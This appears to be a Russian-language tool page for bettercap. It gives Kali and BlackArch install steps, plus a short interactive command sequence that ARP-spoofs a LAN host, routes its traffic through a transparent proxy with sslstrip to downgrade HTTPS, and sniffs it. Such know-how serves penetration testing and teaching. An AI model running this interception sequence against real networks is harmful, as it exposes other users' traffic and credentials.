Программа должна запускаться с правами суперпользователя:

sudo bettercap

Далее команды вводятся в интерактивном режиме.

Чтобы показать список обнаруженных хостов в локальной сети:

net.show

Для запуска ARP-спуфинга и сниффинга в отношении локального IP 192.168.0.90, в результате будет выполняться непрерывный ARP-спуфинг данного адреса, что приведёт к тому, что трафик будет перенаправлен на машину атакующего, на прозрачный HTTP прокси, где, по возможности, с помощью sslstrip будет сделан переход с HTTPS на HTTP, вербальность сниффера понижена, чтобы не выводились не интересующие нас данные:

set http.proxy.sslstrip true
set net.sniff.verbose false
set arp.spoof.targets 192.168.0.90
arp.spoof on
http.proxy on
net.sniff on

Установка bettercap

Установка в Kali Linux

В репозиториях Kali Linux уже присутствует bettercap, но на момент написания там устаревшая версия 1.6.2. Чтобы проверить, какая версия bettercap в данный момент доступна для установки из официальных репозиториев, выполните:

apt-cache show bettercap | grep 'Version: '

Если будет выведено что-то вроде:

Version: 1.6.2-0kali1

значит версия является устаревшей.

Если там появится версия 2.x, то для её установки достаточно выполнить:

sudo apt install bettercap

Скачивание и установка последней версии bettercap

sudo apt remove bettercap
sudo rm /usr/local/bin/bettercap
ln -s /usr/lib/x86_64-linux-gnu/libpcap.so.1.8.1 /usr/lib/x86_64-linux-gnu/libpcap.so.1
wget "https://github.com`curl -s https://github.com/bettercap/bettercap/releases | grep -E -o '/bettercap/bettercap/releases/download/v[0-9.]+/bettercap_linux_amd64_[0-9.]+zip' | head -n 1`"
unzip bettercap_linux_amd64_*zip
sudo mv bettercap /usr/local/bin/
rm README.md LICENSE.md bettercap_linux_amd64_*.zip
bettercap -h

Установка в BlackArch

Программа предустановлена в BlackArch.

Информация об установке в другие операционные системы будет добавлена позже.

Скриншоты bettercap

 

Инструкции по bettercap

Близкие программы:

  • MITMf (66.9%)
  • Bettercap 1.6 (66.9%)
  • Ettercap (66.9%)
  • LANs (62.4%)
  • Mana (57.7%)
  • Btproxy (RANDOM - 36.6%)
  • Рекомендуемые статьи:

    Comments are Closed